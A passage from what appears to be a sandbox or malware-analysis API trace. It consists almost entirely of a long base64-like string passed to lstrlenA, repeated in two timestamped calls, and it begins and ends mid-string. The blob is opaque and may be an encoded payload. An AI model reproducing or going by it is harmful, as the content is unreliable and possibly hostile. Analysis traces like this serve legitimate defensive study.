v7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+KVdqxmFJUSgzefnKAkopFbcluxFXgozk2XKWNas7wqfKMWrt0IXEG2UhkLtrcd8p4JNBmNqsDijqc8ALYZwzFDKsVsrg5DzyIluyLMxG/TiakC/pBHkQ3RiZ5uvTydxtAD8n2yavcm0Kj5Fss82FGu+kBj35uhx4I7jDj20EwFB1Ph4M9k3/dFx0YXyk1S1gQrIGrnhCrb8U2+Y6YuqAXd/TbsXCLPz9ePTE+Lqet+H5JFdFbR/LgKR/IrZ2OCq8vHmPXkVd339xwOXS1LYNQ/jTiEw9ocs8XSfQiiF1lKyts17dW19MUzq2agefI4iBUvirUCPiXVKqgwmGHTfYJg3onDGZ9lzaQ1RMkYofNEg+olX5fvoOPf+IqVeOZsy/rodl5tiysKtgobARxKzixyeJxR+SpMjZcZWB542juT392bZxWTKtGybGXBkYhfLbJYtGZhTwVKm918Lbl4WHTx5nAxeuSpRATmqdBuNX/I8LPd0qeMmlCokyBRhNxYw8V4rBPQxlUDYvFC43eGey+eolIizMw2UpNe1K/hK6yaHl0PbqZLI4FBSppDbwXGbNvKyrby6gDVhdz529Co4/9gjezuRA5hzjEesWKRHwXz6Nkg1rXN2q+I5vEBk5Vm3/LxMMSqfDfZvOTjmXhZO6gf0Yt/OCBChNVb5tWNwHdXVyTigH+9xgQytSKJ9NMmu0XL5dodxhkGNjTJlgdmmHgj8eY9SNf16KdoCq84u6uF6t5NhQpd1YAZnH1000rYOtr8vbD8lJMF1Tb8DgYfpGXCTeuRfTzFIqC+SRLhxsr1q+ntzssL6Otm5WN0Q2QIHKtJEJC0ihG7wD2sMSpC8SJKsIsTfzgzNTgeuzotx89ITb5KiQJaoYYJk0J7rMAVc0StgpbC5gHdEY5cOSwNv8zCH7PYvqSx0sN+J/l/0t0ZpcObGamhpKOtmyTULxenkmvPyOyBi3wJy5daoq9rOiwRjJfeN++QSMU93IKGiylNe6dIBDzbhqm1XUqwrS8rX2KXau+EH9ypf1nh/NIP+FHq3d8O94qIZrpFYBIXLilFkN8QWDVfBEzi0rnA33zlQEjh1sedNVNKxtpDbjr2ij10KXhgm9agdN/WIUiRh2ZAyZC8DzvgQE0kQEk9T24OPDjZ00F1q5SSajlP7brLYPkmXDHGkwpoDcHZEz735QKoa4BSivimzbfyw6iUfoG5qzyvOcYgZoDdy8YdkEniwqV7D7pzWBuYqHJULHsL4RpjUKOEZLFiwevz6uitOs/eZ4ys+yHAdgpV1V4c1c2PnL9DhEGJMCBMkmwkAEZVUhOLVhnalPnwioekw/rf+QLO4I8/dORvBjgkieS1mKk5ekbhhX1CfbD7VTi8zPdRBQvXQQs8A4KGCylGG+2MCtJ4sTOHb/ViG1W5TPEZvi4s+kHQLE6YjPn0APfeIdP86NS1TFugv5h+g7oty4NDRb+WYteWsq4dXTA5gTAfhgrtW4tq/8wXBIj+qUVUbXtuUpeoW/VdBKmDWaWjvQWUaQmjjSp+qavLUb+NTWKAvXjD7xBStoHJ0rN/y1FYNCHxuLhq43rOC6k2QKhyN4A8crOYeXzGZUZ1slwHa63caXpSjrmmASG/V0Km+TBwO7lykEiBGaq7YXXgrwZI2nnt3O/VxoC5i4FJz+vDsKtZw8omqF2nwgBf3xM/l6rpEQUO8AYcOLFQt8r/yW/ikSouhKJ/+4wrD8y+eobJ2aERtJC5jBCsuM0VmoPhzHIeD2F6rZa2dQwgcYn73FlkjWXwB18uyFCTHMkCbvXVycBBM+QcB2RP89DWB96BsyInYy+DF1pjp0fhsiYgvxTAZjIEMbkfNY9cGALR19UbJLEkZe7Yil0deqNMaHMCDwCAxKwFYaauZfp27catSyvvs0Tey9P6BH2foj6Y088YmPaqA5Lsv2dvGyE09CN6Cn+pn8EybUhaH7/6iqTgubM7VsIb1AYNHuKrhTiUg+/fj8lmsNFR4mVfo8AHRSoBmn5FGaUVB46b8PyalJolBNElJB91ekBM3D8AsLEPHxMAbGc/nG9VIcSBOtKCKrxcuPHz/+bvav3V5kMpSPyc/sWbEx7MZiqwYimRkPbKitVtcj/N0CMbWtNTc7ISxvdCxAB8Bks7cZ1Xn7lmzQUxLwylQA4XMJXrwDHE5Zz2QFlxQ1fi5j/nrBWwnQIW85rfG49k5exqhlyQvfVIcoeiWuX2t869wj4ZLI0LO+WycAWIsBCB3HlAGf6xvPsRFArGcoANLPskqEMRwwScf19bIVKI9Phrfq+XEyHllSE1IfVMydxPX9sfRmXFLP4z6f5qZGTMc8e8cGwqAYSes4j5zawjYB0HETHpuwUi4QIJvve0OaJKd+w/KSObipMao2YbIVhUm9c9dnDyDmEcBWIPIlf1BE+cLR6nsqab3rP2E4uUaVtDlSnwDMk0bpidgrONLyWz2t78BreT1QFmHPiyytUXHRMkNmE7G/IlA7NHJldZptETcMq98GD/XmpliedFh3Vm1nPys1N63QdWz2u0ApfgYkNYQI1ZNRDBmRAo9cc/49Jkh6Na4knxVZIthDsC205K+qv1aqXJ6wZ9B3TiYhmGoIjsjlGeKF7nXbztIBEGGtp790iPZvb6hnurXNZaHbiuixr33SPO6yK6o+G/eGA+KeHmp4jm+NwBuL4P1hc2clVcHMLne0fe2Mi+uYSM2beBLczVL1AkgReqT0lUToaOjgIUGAswuOzlQagLxuxiYWkj4M5YkbOtsAY3DAT1q1b44cIvlVZz/fW6yfeaPR1nPj0vJ653chI+qoKnh9h4NGN1gOvH7z9Gvao+Z2YCIfPXCT3Oq5uB/gUNIfWtxXsBntxUcRPONWpADjWWTjhqO6xPN9mcRCh6LSbWaazGC+oHawwVAZjhVu2LUiuq9a76xZM9XDVUDnBZKQtJqsRlkfQ4On0kk0DZSo3PI1hdycZ9YIp9+zhA8jDSdQMu2fA/D6vw/NoN3pIYCpJ9KWIb2zUTKpnxDWxXMYnz2+J1ZwVvNhkuI68Y1BbaYzjZq/0iUFT9X7KVboqbeuhu+wWc97VSlk4qHIq5gYhnoPYscPWrU4fD1KApAkIcuNJIi0nsUotOoDd1qVhQNl5ff5uYrdRg23FSU5DRgwlqo9QmMT2xd0OVEOHlUD+Yea6UDhhnIdVPFxM5/UhIaLXqO97ovabRGHzJrBPA8CR5Sab/B4GwFsYNIL/SosMF/N6BrZkuYVjiC+gsPWKe7XqiXDDbRVHzszFhzyPrjWgFpgHbg8pS2m04nNzjleUEoJWnx839sMPuknZ6EbcmX0XVk7EuDdOHs+xK22RuZsJwGuJFiR96raTnLNLRYkcXAuS5HbMbfgiT5h3zGQ5RgRn6kTaSTs5aJvLkYo0yL2/9/aBAzGxtcF/pTngc8/DTbkYi7v6almd46gauZzcJhJ/hRAfznSBaX3TXzvlwwWBWxKD+8QZWcIN/SLNSjY926DAx45oko8XmYQe1tyizClFib1u2IDMOTaWJOCQR00c0oRnhFvSCE0kTjc0AnEOfh2QBU4IofiadkQP53Bied2XkA8NcbuRmnQnSQ89DaDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.633] lstrlenA (lpString="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") returned 5820
	[0084.633] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+KVdqxmFJUSgzefnKAkopFbcluxFXgozk2XKWNas7wqfKMWrt0IXEG2UhkLtrcd8p4JNBmNqsDijqc8ALYZwzFDKsVsrg5DzyIluyLMxG/TiakC/pBHkQ3RiZ5uvTydxtAD8n2yavcm0Kj5Fss82FGu+kBj35uhx4I7jDj20EwFB1Ph4M9k3/dFx0YXyk1S1gQrIGrnhCrb8U2+Y6YuqAXd/TbsXCLPz9ePTE+Lqet+H5JFdFbR/LgKR/IrZ2OCq8vHmPXkVd339xwOXS1LYNQ/jTiEw9ocs8XSfQiiF1lKyts17dW19MUzq2agefI4iBUvirUCPiXVKqgwmGHTfYJg3onDGZ9lzaQ1RMkYofNEg+olX5fvoOPf+IqVeOZsy/rodl5tiysKtgobARxKzixyeJxR+SpMjZcZWB542juT392bZxWTKtGybGXBkYhfLbJYtGZhTwVKm918Lbl4WHTx5nAxeuSpRATmqdBuNX/I8LPd0qeMmlCokyBRhNxYw8V4rBPQxlUDYvFC43eGey+eolIizMw2UpNe1K/hK6yaHl0PbqZLI4FBSppDbwXGbNvKyrby6gDVhdz529Co4/9gjezuRA5hzjEesWKRHwXz6Nkg1rXN2q+I5vEBk5Vm3/LxMMSqfDfZvOTjmXhZO6gf0Yt/OCBChNVb5tWNwHdXVyTigH+9xgQytSKJ9NMmu0XL5dodxhkGNjTJlgdmmHgj8eY9SNf16KdoCq84u6uF6t5NhQpd1YAZnH1000rYOtr8vbD8lJMF1Tb8DgYfpGXCTeuRfTzFIqC+SRLhxsr1q+ntzssL6Otm5WN0Q2QIHKtJEJC0ihG7wD2sMSpC8SJKsIsTfzgzNTgeuzotx89ITb5KiQJaoYYJk0J7rMAVc0StgpbC5gHdEY5cOSwNv8zCH7PYvqSx0sN+J/l/0t0ZpcObGamhpKOtmyTULxenkmvPyOyBi3wJy5daoq9rOiwRjJfeN++QSMU93IKGiylNe6dIBDzbhqm1XUqwrS8rX2KXau+EH9ypf1nh/NIP+FHq3d8O94qIZrpFYBIXLilFkN8QWDVfBEzi0rnA33zlQEjh1sedNVNKxtpDbjr2ij10KXhgm9agdN/WIUiRh2ZAyZC8DzvgQE0kQEk9T24OPDjZ00F1q5SSajlP7brLYPkmXDHGkwpoDcHZEz735QKoa4BSivimzbfyw6iUfoG5qzyvOcYgZoDdy8YdkEniwqV7D7pzWBuYqHJULHsL4RpjUKOEZLFiwevz6uitOs/eZ4ys+yHAdgpV1V4c1c2PnL9DhEGJMCBMkmwkAEZVUhOLVhnalPnwioekw/rf+QLO4I8/dORvBjgkieS1mKk5ekbhhX1CfbD7VTi8zPdRBQvXQQs8A4KGCylGG+2MCtJ4sTOHb/ViG1W5TPEZvi4s+kHQLE6YjPn0APfeIdP86NS1TFugv5h+g7oty4NDRb+WYteWsq4dXTA5gTAfhgrtW4tq/8wXBIj+qUVUbXtuUpeoW/VdBKmDWaWjvQWUaQmjjSp+qavLUb+NTWKAvXjD7xBStoHJ0rN/y1FYNCHxuLhq43rOC6k2QKhyN4A8crOYeXzGZUZ1slwHa63caXpSjrmmASG/V0Km+TBwO7lykEiBGaq7YXXgrwZI2nnt3O/VxoC5i4FJz+vDsKtZw8omqF2nwgBf3xM/l6rpEQUO8AYcOLFQt8r/yW/ikSouhKJ/+4wrD8y+eobJ2aERtJC5jBCsuM0VmoPhzHIeD2F6rZa2dQwgcYn73FlkjWXwB18uyFCTHMkCbvXVycBBM+QcB2RP89DWB96BsyInYy+DF1pjp0fhsiYgvxTAZjIEMbkfNY9cGALR19UbJLEkZe7Yil0deqNMaHMCDwCAxKwFYaauZfp27catSyvvs0Tey9P6BH2foj6Y088YmPaqA5Lsv2dvGyE09CN6Cn+pn8EybUhaH7/6iqTgubM7VsIb1AYNHuKrhTiUg+/fj8lmsNFR4mVfo8AHRSoBmn5FGaUVB46b8PyalJolBNElJB91ekBM3D8AsLEPHxMAbGc/nG9VIcSBOtKCKrxcuPHz/+bvav3V5kMpSPyc/sWbEx7MZiqwYimRkPbKitVtcj/N0CMbWtNTc7ISxvdCxAB8Bks7cZ1Xn7lmzQUxLwylQA4XMJXrwDHE5Zz2QFlxQ1fi5j/nrBWwnQIW85rfG49k5exqhlyQvfVIcoeiWuX2t869wj4ZLI0LO+WycAWIsBCB3HlAGf6xvPsRFArGcoANLPskqEMRwwScf19bIVKI9Phrfq+XEyHllSE1IfVMydxPX9sfRmXFLP4z6f5qZGTMc8e8cGwqAYSes4j5zawjYB0HETHpuwUi4QIJvve0OaJKd+w/KSObipMao2YbIVhUm9c9dnDyDmEcBWIPIlf1BE+cLR6nsqab3rP2E4uUaVtDlSnwDMk0bpidgrONLyWz2t78BreT1QFmHPiyytUXHRMkNmE7G/IlA7NHJldZptETcMq98GD/XmpliedFh3Vm1nPys1N63QdWz2u0ApfgYkNYQI1ZNRDBmRAo9cc/49Jkh6Na4knxVZIthDsC205K+qv1aqXJ6wZ9B3TiYhmGoIjsjlGeKF7nXbztIBEGGtp790iPZvb6hnurXNZaHbiuixr33SPO6yK6o+G/eGA+KeHmp4jm+NwBuL4P1hc2clVcHMLne0fe2Mi+uYSM2beBLczVL1AkgReqT0lUToaOjgIUGAswuOzlQagLxuxiYWkj4M5YkbOtsAY3DAT1q1b44cIvlVZz/fW6yfeaPR1nPj0vJ653chI+qoKnh9h4NGN1gOvH7z9Gvao+Z2YCIfPXCT3Oq5uB/gUNIfWtxXsBntxUcRPONWpADjWWTjhqO6xPN9mcRCh6LSbWaazGC+oHawwVAZjhVu2LUiuq9a76xZM9XDVUDnBZKQtJqsRlkfQ4On0kk0DZSo3PI1hdycZ9YIp9+zhA8jDSdQMu2fA/D6vw/NoN3pIYCpJ9KWIb2zUTKpnxDWxXMYnz2+J1ZwVvNhkuI68Y1BbaYzjZq/0iUFT9X7KVboqbeuhu+wWc97VSlk4qHIq5gYhnoPYscPWrU4fD1KApAkIcuNJIi0nsUotOoDd1qVhQNl5ff5uYrdRg23FSU5DRgwlqo9QmMT2xd0OVEOHlUD+Yea6UDhhnIdVPFxM5/UhIaLXqO97ovabRGHzJrBPA8CR5Sab/B4GwFsYNIL/SosMF/N6BrZkuYVjiC+gsPWKe7XqiXDDbRVHzszFhzyPrjWgFpgHbg8pS2m04nNzjleUEoJWnx839sMPuknZ6EbcmX0XVk7EuDdOHs+xK22RuZsJwGuJFiR96raTnLNLRYkcXAuS5HbMbfgiT5h3zGQ5RgRn6kTaSTs5aJvLkYo0yL2/9/aBAzGxtcF/pTngc8/DTbkYi7v6almd46gauZzcJhJ/hRAfznSBaX3TXzvlwwWBWxKD+8QZWcIN/SLNSjY926DAx45oko8XmYQe1tyizClFib1u2IDMOT